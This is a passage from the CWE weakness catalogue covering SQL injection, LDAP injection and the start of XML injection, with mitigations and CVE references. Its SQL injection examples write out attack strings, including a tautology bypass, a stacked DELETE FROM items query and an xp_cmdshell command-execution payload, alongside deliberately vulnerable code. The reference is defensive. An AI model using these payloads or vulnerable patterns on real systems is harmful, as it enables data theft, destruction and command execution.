MemberOf		137	Data Neutralization Issues	2102

*Relevant to the view "Weaknesses in OWASP Top Ten (2013)" (CWE-928)*

Nature	Type	ID	Name	Page
ParentOf		564	SQL Injection: Hibernate	1207

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Database Server (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

**Common Consequences**

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Since SQL databases generally hold sensitive data, loss of confidentiality is a frequent problem with SQL injection vulnerabilities.</i>	
Access Control	Bypass Protection Mechanism  <i>If poor SQL commands are used to check user names and passwords, it may be possible to connect to a system as another user with no previous knowledge of the password.</i>	
Access Control	Bypass Protection Mechanism  <i>If authorization information is held in a SQL database, it may be possible to change this information through the successful exploitation of a SQL injection vulnerability.</i>	
Integrity	Modify Application Data  <i>Just as it may be possible to read sensitive information, it is also possible to make changes or even delete this information with a SQL injection attack.</i>	

**Detection Methods****Automated Static Analysis**

This weakness can often be detected using automated static analysis tools. Many modern tools use data flow analysis or constraint-based techniques to minimize the number of false positives. Automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or do not require any code changes. Automated static analysis might not be able to detect the usage of custom API functions or third-party libraries that indirectly invoke SQL commands, leading to false negatives - especially if the API/library code is not available for analysis.

**Automated Dynamic Analysis**

This weakness can be detected using dynamic tools and techniques that interact with the software using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The software's operation may slow down, but it should not become unstable, crash, or generate incorrect results.

*Effectiveness = Moderate*

**Manual Analysis**

Manual analysis can be useful for finding this weakness, but it might not achieve desired code coverage within limited time constraints. This becomes difficult for weaknesses that must be considered for all inputs, since the attack surface can be too large.

**Automated Static Analysis - Binary or Bytecode**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

*Effectiveness = High*

**Dynamic Analysis with Automated Results Interpretation**

According to SOAR, the following detection techniques may be useful: Highly cost effective: Database Scanners Cost effective for partial coverage: Web Application Scanner Web Services Scanner

*Effectiveness = High*

### Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Fuzz Tester Framework-based Fuzzer

*Effectiveness = SOAR Partial*

### Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

*Effectiveness = High*

### Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

*Effectiveness = High*

### Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Formal Methods / Correct-By-Construction Cost effective for partial coverage: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

*Effectiveness = High*

## Potential Mitigations

### Phase: Architecture and Design

*Strategy = Libraries or Frameworks*

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using persistence layers such as Hibernate or Enterprise Java Beans, which can provide significant protection against SQL injection if used properly.

### Phase: Architecture and Design

*Strategy = Parameterization*

If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated. Process SQL queries using prepared statements, parameterized queries, or stored procedures. These features should accept parameters or variables and support strong typing. Do not dynamically construct and execute query strings within these features using "exec" or similar functionality, since this may re-introduce the possibility of SQL injection. [REF-867]

### Phase: Architecture and Design

### Phase: Operation

*Strategy = Environment Hardening*

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations. Specifically, follow the principle of least privilege when creating user accounts to a SQL database. The database users should

only have the minimum privileges necessary to use their account. If the requirements of the system indicate that a user can read and modify their own data, then limit their privileges so they cannot read/write others' data. Use the strictest permissions possible on all database objects, such as execute-only for stored procedures.

### Phase: Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Phase: Implementation

*Strategy = Output Encoding*

While it is risky to use dynamically-generated query strings, code, or commands that mix control and data together, sometimes it may be unavoidable. Properly quote arguments and escape any special characters within those arguments. The most conservative approach is to escape or filter all characters that do not pass an extremely strict allowlist (such as everything that is not alphanumeric or white space). If some special characters are still needed, such as white space, wrap each argument in quotes after the escaping/filtering step. Be careful of argument injection (CWE-88). Instead of building a new implementation, such features may be available in the database or programming language. For example, the Oracle DBMS\_ASSERT package can check or enforce that parameters have certain properties that make them less vulnerable to SQL injection. For MySQL, the `mysql_real_escape_string()` API function is available in both C and PHP.

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When constructing SQL query strings, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. This will indirectly limit the scope of an attack, but this technique is less important than proper output encoding and escaping. Note that proper output encoding, escaping, and quoting is the most effective solution for preventing SQL injection, although input validation may provide some defense-in-depth. This is because it effectively limits what will appear in output. Input validation will not always prevent SQL injection, especially if you are required to support free-form text fields that could contain arbitrary characters. For example, the name "O'Reilly" would likely pass the validation step, since it is a common last name in the English language. However, it cannot be directly inserted into the database because it contains the "'" apostrophe character, which would need to be escaped or otherwise handled. In this case, stripping the apostrophe might reduce the risk of SQL injection, but it would produce incorrect behavior because the wrong name would be recorded. When feasible, it may be safest to disallow meta-characters entirely, instead of escaping them. This will provide some defense in depth. After the data is entered into the database, later processes may neglect to escape meta-characters before use, and you may not have control over those processes.

**Phase: Architecture and Design**

*Strategy = Enforcement by Conversion*

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

**Phase: Implementation**

Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of SQL Injection, error messages revealing the structure of a SQL query can help attackers tailor successful attack strings.

**Phase: Operation**

*Strategy = Firewall*

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

*Effectiveness = Moderate*

*An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.*

**Phase: Operation****Phase: Implementation**

*Strategy = Environment Hardening*

When using PHP, configure the application so that it does not use `register_globals`. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a `register_globals` emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

**Demonstrative Examples****Example 1:**

In 2008, a large number of web servers were compromised using the same SQL injection attack string. This single string worked against many different programs. The SQL injection was then used to modify the web sites to serve malicious code.

**Example 2:**

The following code dynamically constructs and executes a SQL query that searches for items matching a specified name. The query restricts the items displayed to those where owner matches the user name of the currently-authenticated user.

Example Language: C#

(Bad)

```
...
string userName = ctx.getAuthenticatedUserName();
string query = "SELECT * FROM items WHERE owner = '" + userName + "' AND itemname = '" + ItemName.Text + "'";
sda = new SqlDataAdapter(query, conn);
DataTable dt = new DataTable();
sda.Fill(dt);
...
```

The query that this code intends to execute follows:

Example Language:

(Informative)

```
SELECT * FROM items WHERE owner = <userName> AND itemname = <itemName>;
```

However, because the query is constructed dynamically by concatenating a constant base query string and a user input string, the query only behaves correctly if itemName does not contain a single-quote character. If an attacker with the user name wiley enters the string:

Example Language:

(Attack)

```
name' OR 'a'='a
```

for itemName, then the query becomes the following:

Example Language:

(Attack)

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name' OR 'a'='a';
```

The addition of the:

Example Language:

(Attack)

```
OR 'a'='a
```

condition causes the WHERE clause to always evaluate to true, so the query becomes logically equivalent to the much simpler query:

Example Language:

(Attack)

```
SELECT * FROM items;
```

This simplification of the query allows the attacker to bypass the requirement that the query only return items owned by the authenticated user; the query now returns all entries stored in the items table, regardless of their specified owner.

### Example 3:

This example examines the effects of a different malicious value passed to the query constructed and executed in the previous example.

If an attacker with the user name wiley enters the string:

Example Language:

(Attack)

```
name'; DELETE FROM items; --
```

for itemName, then the query becomes the following two queries:



*Example Language: SQL**(Attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
--'
```

Many database servers, including Microsoft(R) SQL Server 2000, allow multiple SQL statements separated by semicolons to be executed at once. While this attack string results in an error on Oracle and other database servers that do not allow the batch-execution of statements separated by semicolons, on databases that do allow batch execution, this type of attack allows the attacker to execute arbitrary commands against the database.

Notice the trailing pair of hyphens (--), which specifies to most database servers that the remainder of the statement is to be treated as a comment and not executed. In this case the comment character serves to remove the trailing single-quote left over from the modified query. On a database where comments are not allowed to be used in this way, the general attack could still be made effective using a trick similar to the one shown in the previous example.

If an attacker enters the string

*Example Language:**(Attack)*

```
name'; DELETE FROM items; SELECT * FROM items WHERE 'a'='a
```

Then the following three valid statements will be created:

*Example Language:**(Attack)*

```
SELECT * FROM items WHERE owner = 'wiley' AND itemname = 'name';
DELETE FROM items;
SELECT * FROM items WHERE 'a'='a';
```

One traditional approach to preventing SQL injection attacks is to handle them as an input validation problem and either accept only characters from an allowlist of safe values or identify and escape a denylist of potentially malicious values. Allowlists can be a very effective means of enforcing strict input validation rules, but parameterized SQL statements require less maintenance and can offer more guarantees with respect to security. As is almost always the case, denylisting is riddled with loopholes that make it ineffective at preventing SQL injection attacks. For example, attackers can:

- Target fields that are not quoted
- Find ways to bypass the need for certain escaped meta-characters
- Use stored procedures to hide the injected meta-characters.

Manually escaping characters in input to SQL queries can help, but it will not make your application secure from SQL injection attacks.

Another solution commonly proposed for dealing with SQL injection attacks is to use stored procedures. Although stored procedures prevent some types of SQL injection attacks, they do not protect against many others. For example, the following PL/SQL procedure is vulnerable to the same SQL injection attack shown in the first example.

*Example Language:**(Bad)*

```
procedure get_item ( itm_cv IN OUT ItmCurTyp, usr in varchar2, itm in varchar2)
is open itm_cv for
' SELECT * FROM items WHERE ' || 'owner = ' || usr || ' AND itemname = ' || itm || ';
end get_item;
```

Stored procedures typically help prevent SQL injection attacks by limiting the types of statements that can be passed to their parameters. However, there are many ways around the limitations and many interesting statements that can still be passed to stored procedures. Again, stored procedures can prevent some exploits, but they will not make your application secure against SQL injection attacks.

#### Example 4:

MS SQL has a built in function that enables shell command execution. An SQL injection in such a context could be disastrous. For example, a query of the form:

*Example Language:*

*(Bad)*

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY='$user_input' ORDER BY PRICE
```

Where \$user\_input is taken from an untrusted source.

If the user provides the string:

*Example Language:*

*(Attack)*

```
'; exec master..xp_cmdshell 'dir' --
```

The query will take the following form:

*Example Language:*

*(Attack)*

```
SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM_CATEGORY="'; exec master..xp_cmdshell 'dir' --' ORDER BY PRICE
```

Now, this query can be broken down into:

1. a first SQL query: SELECT ITEM,PRICE FROM PRODUCT WHERE ITEM\_CATEGORY="";
2. a second SQL query, which executes the dir command in the shell: exec master..xp\_cmdshell 'dir'
3. an MS SQL comment: --' ORDER BY PRICE

As can be seen, the malicious input changes the semantics of the query into a query, a shell command execution and a comment.

#### Example 5:

This code intends to print a message summary given the message ID.

*Example Language: PHP*

*(Bad)*

```
$id = $_COOKIE["mid"];
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

The programmer may have skipped any input validation on \$id under the assumption that attackers cannot modify the cookie. However, this is easy to do with custom client code or even in the web browser.

While \$id is wrapped in single quotes in the call to mysql\_query(), an attacker could simply change the incoming mid cookie to:

*Example Language:*

*(Attack)*

```
1432' or '1' = '1
```

This would produce the resulting query:

Example Language:

(Result)

```
SELECT MessageID, Subject FROM messages WHERE MessageID = '1432' or '1' = '1'
```

Not only will this retrieve message number 1432, it will retrieve all other messages.

In this case, the programmer could apply a simple modification to the code to eliminate the SQL injection:

Example Language: PHP

(Good)

```
$id = intval($_COOKIE["mid"]);
mysql_query("SELECT MessageID, Subject FROM messages WHERE MessageID = '$id'");
```

However, if this code is intended to support multiple users with different message boxes, the code might also need an access control check (CWE-285) to ensure that the application user has the permission to see that message.

**Example 6:**

This example attempts to take a last name provided by a user and enter it into a database.

Example Language: Perl

(Bad)

```
$userKey = getUserID();
$name = getUserInput();
# ensure only letters, hyphens and apostrophe are allowed
$name = allowList($name, "^a-zA-z-'");
$query = "INSERT INTO last_names VALUES('$userKey', '$name')";
```

While the programmer applies an allowlist to the user input, it has shortcomings. First of all, the user is still allowed to provide hyphens, which are used as comment structures in SQL. If a user specifies "--" then the remainder of the statement will be treated as a comment, which may bypass security logic. Furthermore, the allowlist permits the apostrophe, which is also a data / command separator in SQL. If a user supplies a name with an apostrophe, they may be able to alter the structure of the whole statement and even change control flow of the program, possibly accessing or modifying confidential information. In this situation, both the hyphen and apostrophe are legitimate characters for a last name and permitting them is required. Instead, a programmer may want to use a prepared statement or apply an encoding routine to the input to prevent any data / directive misinterpretations.

**Observed Examples**

Reference	Description
<b>CVE-2021-42258</b>	SQL injection in time and billing software, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-42258">https://www.cve.org/CVERecord?id=CVE-2021-42258</a>
<b>CVE-2021-27101</b>	SQL injection in file-transfer system via a crafted Host header, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2021-27101">https://www.cve.org/CVERecord?id=CVE-2021-27101</a>
<b>CVE-2020-12271</b>	SQL injection in firewall product's admin interface or user portal, as exploited in the wild per CISA KEV. <a href="https://www.cve.org/CVERecord?id=CVE-2020-12271">https://www.cve.org/CVERecord?id=CVE-2020-12271</a>
<b>CVE-2019-3792</b>	An automation system written in Go contains an API that is vulnerable to SQL injection allowing the attacker to read privileged data. <a href="https://www.cve.org/CVERecord?id=CVE-2019-3792">https://www.cve.org/CVERecord?id=CVE-2019-3792</a>
<b>CVE-2004-0366</b>	chain: SQL injection in library intended for database authentication allows SQL injection and authentication bypass. <a href="https://www.cve.org/CVERecord?id=CVE-2004-0366">https://www.cve.org/CVERecord?id=CVE-2004-0366</a>
<b>CVE-2008-2790</b>	SQL injection through an ID that was supposed to be numeric.

Reference	Description
	<a href="https://www.cve.org/CVERecord?id=CVE-2008-2790">https://www.cve.org/CVERecord?id=CVE-2008-2790</a>
<b>CVE-2008-2223</b>	SQL injection through an ID that was supposed to be numeric. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2223">https://www.cve.org/CVERecord?id=CVE-2008-2223</a>
<b>CVE-2007-6602</b>	SQL injection via user name. <a href="https://www.cve.org/CVERecord?id=CVE-2007-6602">https://www.cve.org/CVERecord?id=CVE-2007-6602</a>
<b>CVE-2008-5817</b>	SQL injection via user name or password fields. <a href="https://www.cve.org/CVERecord?id=CVE-2008-5817">https://www.cve.org/CVERecord?id=CVE-2008-5817</a>
<b>CVE-2003-0377</b>	SQL injection in security product, using a crafted group name. <a href="https://www.cve.org/CVERecord?id=CVE-2003-0377">https://www.cve.org/CVERecord?id=CVE-2003-0377</a>
<b>CVE-2008-2380</b>	SQL injection in authentication library. <a href="https://www.cve.org/CVERecord?id=CVE-2008-2380">https://www.cve.org/CVERecord?id=CVE-2008-2380</a>
<b>CVE-2017-11508</b>	SQL injection in vulnerability management and reporting tool, using a crafted password. <a href="https://www.cve.org/CVERecord?id=CVE-2017-11508">https://www.cve.org/CVERecord?id=CVE-2017-11508</a>

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	635	Weaknesses Originally Used by NVD from 2008 to 2016	635	2311
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2124
MemberOf	C	722	OWASP Top Ten 2004 Category A1 - Unvalidated Input	711	2127
MemberOf	C	727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2130
MemberOf	C	751	2009 Top 25 - Insecure Interaction Between Components	750	2145
MemberOf	C	801	2010 Top 25 - Insecure Interaction Between Components	800	2147
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	2149
MemberOf	C	864	2011 Top 25 - Insecure Interaction Between Components	900	2164
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2182
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf	C	1005	7PK - Input Validation and Representation	700	2214
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2228
MemberOf	C	1131	CISQ Quality Measures (2016) - Security	1128	2235
MemberOf	V	1200	Weaknesses in the 2019 CWE Top 25 Most Dangerous Software Errors	1200	2347
MemberOf	C	1308	CISQ Quality Measures - Security	1305	2278
MemberOf	V	1337	Weaknesses in the 2021 CWE Top 25 Most Dangerous Software Weaknesses	1337	2349
MemberOf	V	1340	CISQ Data Protection Measures	1340	2350
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282
MemberOf	V	1350	Weaknesses in the 2020 CWE Top 25 Most Dangerous Software Weaknesses	1350	2354
MemberOf	V	1387	Weaknesses in the 2022 CWE Top 25 Most Dangerous Software Weaknesses	1387	2357

### Notes

#### Relationship

SQL injection can be resultant from special character mismanagement, MAID, or denylist/allowlist problems. It can be primary to authentication errors.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			SQL injection
7 Pernicious Kingdoms			SQL Injection
CLASP			SQL injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
OWASP Top Ten 2004	A1	CWE More Specific	Unvalidated Input
OWASP Top Ten 2004	A6	CWE More Specific	Injection Flaws
WASC	19		SQL Injection
Software Fault Patterns	SFP24		Tainted input to command
OMG ASCSM	ASCSM-CWE-89		
SEI CERT Oracle Coding Standard for Java	IDS00-J	Exact	Prevent SQL injection

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
7	Blind SQL Injection
66	SQL Injection
108	Command Line Execution through SQL Injection
109	Object Relational Mapping Injection
110	SQL Injection through SOAP Parameter Tampering
470	Expanding Control over the Operating System from the Database

### References

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-867]OWASP. "SQL Injection Prevention Cheat Sheet". < [http://www.owasp.org/index.php/SQL\\_Injection\\_Prevention\\_Cheat\\_Sheet](http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet) >.

[REF-868]Steven Friedl. "SQL Injection Attacks by Example". 2007 October 0. < <http://www.unixwiz.net/techtips/sql-injection.html> >.

[REF-869]Ferruh Mavituna. "SQL Injection Cheat Sheet". 2007 March 5. < <http://ferruh.mavituna.com/sql-injection-cheatsheet-ok/> >.

[REF-870]David Litchfield, Chris Anley, John Heasman and Bill Grindlay. "The Database Hacker's Handbook: Defending Database Servers". 2005 July 4. Wiley.

[REF-871]David Litchfield. "The Oracle Hacker's Handbook: Hacking and Defending Oracle". 2007 January 0. Wiley.

[REF-872]Microsoft. "SQL Injection". 2008 December. < <http://msdn.microsoft.com/en-us/library/ms161953.aspx> >.

[REF-873]Microsoft Security Vulnerability Research & Defense. "SQL Injection Attack". < <http://blogs.technet.com/swi/archive/2008/05/29/sql-injection-attack.aspx> >.

[REF-874]Michael Howard. "Giving SQL Injection the Respect it Deserves". 2008 May 5. < <http://blogs.msdn.com/sdl/archive/2008/05/15/giving-sql-injection-the-respect-it-deserves.aspx> >.

[REF-875]Frank Kim. "Top 25 Series - Rank 2 - SQL Injection". 2010 March 1. SANS Software Security Institute. < <http://blogs.sans.org/appsecstreetfighter/2010/03/01/top-25-series-rank-2-sql-injection/> >.

[REF-76]Sean Barnum and Michael Gegick. "Least Privilege". 2005 September 4. < <https://www.cisa.gov/uscert/bsi/articles/knowledge/principles/least-privilege> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < <http://www.omg.org/spec/ASCSM/1.0/> >.

## CWE-90: Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

**Weakness ID** : 90  
**Structure** : Simple  
**Abstraction** : Base

### Description

The product constructs all or part of an LDAP query using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended LDAP query when it is sent to a downstream component.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		943	Improper Neutralization of Special Elements in Data Query Logic	1720

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

**Technology** : Database Server (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Read Application Data	
Availability	Modify Application Data	



Scope	Impact	Likelihood
	An attacker could include input that changes the LDAP query which allows unintended commands or code to be executed, allows sensitive data to be read or modified or causes other unintended behavior.	

## Potential Mitigations

### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

## Demonstrative Examples

### Example 1:

The code below constructs an LDAP query using user input address data:

*Example Language: Java*

*(Bad)*

```
context = new InitialDirContext(env);
String searchFilter = "StreetAddress=" + address;
NamingEnumeration answer = context.search(searchBase, searchFilter, searchCtls);
```

Because the code fails to neutralize the address string used to construct the query, an attacker can supply an address that includes additional LDAP queries.

## Observed Examples

Reference	Description
<b>CVE-2021-41232</b>	Chain: authentication routine in Go-based agile development product does not escape user name (CWE-116), allowing LDAP injection (CWE-90) <a href="https://www.cve.org/CVERecord?id=CVE-2021-41232">https://www.cve.org/CVERecord?id=CVE-2021-41232</a>
<b>CVE-2005-2301</b>	Server does not properly escape LDAP queries, which allows remote attackers to cause a DoS and possibly conduct an LDAP injection attack. <a href="https://www.cve.org/CVERecord?id=CVE-2005-2301">https://www.cve.org/CVERecord?id=CVE-2005-2301</a>

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2124
MemberOf	C	810	OWASP Top Ten 2010 Category A1 - Injection	809	2149
MemberOf	V	884	CWE Cross-section	884	2327
MemberOf	C	929	OWASP Top Ten 2013 Category A1 - Injection	928	2182
MemberOf	C	990	SFP Secondary Cluster: Tainted Input to Command	888	2206

Nature	Type	ID	Name	V	Page
MemberOf	C	1027	OWASP Top Ten 2017 Category A1 - Injection		1026 2228
MemberOf	C	1308	CISQ Quality Measures - Security		1305 2278
MemberOf	V	1340	CISQ Data Protection Measures		1340 2350
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection		1344 2282

## Notes

### Relationship

Factors: resultant to special character mismanagement, MAID, or denylist/allowlist problems.  
Can be primary to authentication and verification errors.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			LDAP injection
OWASP Top Ten 2007	A2	CWE More Specific	Injection Flaws
WASC	29		LDAP Injection
Software Fault Patterns	SFP24		Tainted input to command

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
136	LDAP Injection

### References

[REF-879]SPI Dynamics. "Web Applications and LDAP Injection".

## CWE-91: XML Injection (aka Blind XPath Injection)

**Weakness ID** : 91

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not properly neutralize special elements that are used in XML, allowing attackers to modify the syntax, content, or commands of the XML before it is processed by an end system.

### Extended Description

Within XML, special elements could include reserved words or characters such as "<", ">", "'", and "&", which could then be used to add new data or modify XML syntax.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	C	74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133
ParentOf	B	643	Improper Neutralization of Data within XPath Expressions ('XPath Injection')	1336
ParentOf	B	652	Improper Neutralization of Data within XQuery Expressions ('XQuery Injection')	1351

*Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)*

Nature	Type	ID	Name	Page
ChildOf		74	Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection')	133

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf		1019	Validate Inputs	2226

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		137	Data Neutralization Issues	2102

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Execute Unauthorized Code or Commands	
Integrity	Read Application Data	
Availability	Modify Application Data	

### Potential Mitigations

#### Phase: Implementation

*Strategy = Input Validation*

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		713	OWASP Top Ten 2007 Category A2 - Injection Flaws	629	2124
MemberOf		727	OWASP Top Ten 2004 Category A6 - Injection Flaws	711	2130
MemberOf		810	OWASP Top Ten 2010 Category A1 - Injection	809	2149
MemberOf		929	OWASP Top Ten 2013 Category A1 - Injection	928	2182
MemberOf		990	SFP Secondary Cluster: Tainted Input to Command	888	2206
MemberOf		1027	OWASP Top Ten 2017 Category A1 - Injection	1026	2228
MemberOf		1308	CISQ Quality Measures - Security	1305	2278
MemberOf		1340	CISQ Data Protection Measures	1340	2350

Nature	Type	ID	Name	V	Page
MemberOf	C	1347	OWASP Top Ten 2021 Category A03:2021 - Injection	1344	2282

## Notes

### Maintenance

The description for this entry is generally applicable to XML, but the name includes "blind XPath injection" which is more closely associated with CWE-643. Therefore this entry might need to be deprecated or converted to a general category - although injection into raw XML is not covered by CWE-643 or CWE-652.

### Theoretical

In vulnerability theory terms, this is a representation-specific case of a Data/Directive Boundary Error.

### Research Gap

